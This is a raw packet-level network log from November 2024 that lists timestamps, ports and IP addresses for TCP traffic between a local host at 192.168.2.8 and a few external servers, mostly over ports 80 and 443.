Nov 21, 2024 19:58:44.311098099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.311127901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.311182976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.311883926 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.313662052 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.313669920 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.314361095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.314450979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.314460039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.314517975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.316988945 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.317080021 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.317085981 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.317403078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.317451954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.317580938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.320626020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.320667982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.320696115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.320728064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.323843002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.323868990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.323904037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.323940992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.326705933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.326719046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.326798916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.327121973 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.327161074 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.327198029 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.327205896 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.327289104 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.329797983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.329837084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.329880953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.329916954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.332068920 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.332889080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.332964897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.332989931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.333029032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.335947990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.336038113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.336319923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.337016106 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.338737965 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.338745117 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.339057922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.339128017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.339157104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.339272976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.341898918 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.341970921 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.341976881 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.342169046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.342241049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.342297077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.342365026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.345282078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.345326900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.345366001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.345397949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.346045971 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.346134901 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.346141100 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.348366976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.348373890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.348434925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.351465940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.351502895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.351613045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.354568005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.354635954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.354686975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.354753017 CET	49789	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.354777098 CET	443	49789	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.354882956 CET	49789	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.355144024 CET	49789	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:44.355155945 CET	443	49789	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:44.355427980 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.355547905 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.355561972 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.355567932 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.355611086 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.357654095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.357745886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.357819080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.360150099 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.360723019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.360769987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.360826969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.362411022 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.362464905 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.362471104 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.363888979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.363903999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.363961935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.367007017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.367012978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.367173910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.370009899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.370066881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.370145082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.370269060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.373104095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.373184919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.373347044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.373411894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.376241922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.376315117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.376383066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.376458883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.379415035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.379554987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.379581928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.379688978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.382492065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.382601023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.382675886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.385521889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.385592937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.385622025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.385699987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.388614893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.388683081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.388684034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.388731003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.391824007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.391884089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.391958952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.392013073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.394766092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.394828081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.394903898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.394989014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.397878885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.397953987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.397958994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.398679018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.400979996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.401029110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.401042938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.401226997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.404103041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.404129982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.404176950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.404192924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.406301975 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.406383991 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.406392097 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.407202959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.407295942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.407366991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.409456968 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.410213947 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.410284996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.410284996 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.410290956 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.410351992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.410516977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.410716057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.410759926 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.410768986 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.411134958 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.412568092 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.412637949 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.412712097 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.413388968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.413494110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.413570881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.413995028 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.414293051 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.414304018 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.416454077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.416526079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.416555882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.417098045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.418865919 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.418940067 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.418946981 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.419616938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.419704914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.419785023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.422708035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.422806978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.422851086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.423422098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.425920010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.426013947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.426018953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.426218987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.428189993 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.428301096 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.428411961 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.428420067 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.428742886 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.428890944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.428899050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.428966045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.431969881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.431977034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.432043076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.432919025 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.435065031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.435071945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.435143948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.437494040 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.437561989 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.437567949 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.438194036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.438235998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.438266993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.438853979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.441241026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.441318035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.441389084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.441513062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.442069054 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.442156076 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.442162037 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.444386005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.444483042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.444484949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.444567919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.446389914 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.446465015 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.446470976 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.447428942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.447488070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.447540998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.448156118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.450504065 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.450536013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.450544119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.450570107 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.450576067 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.450607061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.453625917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.453701019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.453725100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.454236031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.455331087 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.456666946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.456717968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.456752062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.456926107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.458404064 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.458446980 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.458452940 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.459527016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.459644079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.459750891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.460179090 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.460455894 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.460825920 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.460833073 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.462337017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.462445021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.462754011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.464369059 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.464457989 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.464464903 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.465017080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.465121984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.465188026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.467741013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.467859030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.467912912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.470264912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.470309019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.470371962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.472820044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.472913980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.472943068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.473409891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.474530935 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.474639893 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.474646091 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.475258112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.475429058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.475509882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.475625038 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.475719929 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.475725889 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.477660894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.477736950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.477760077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.477925062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.480012894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.480120897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.480253935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.481159925 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.481264114 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.481271029 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.482402086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.482573986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.482736111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.484535933 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.484639883 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.484644890 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.484719038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.484719992 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.484802008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.484838009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.484880924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.485030890 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:44.485042095 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:44.487278938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.487293005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.487355947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.489500999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.489554882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.489572048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.489952087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.491671085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.491760969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.491761923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.491827965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.493777037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.493820906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.493882895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.495923042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.496031046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.496104002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.498141050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.498282909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.498344898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.500226021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.500361919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.542222977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.542308092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.542371035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.542557955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.542612076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.542659998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.542684078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.542718887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.543732882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.543740034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.543839931 CET	49746	80	192.168.2.8	185.215.113.206
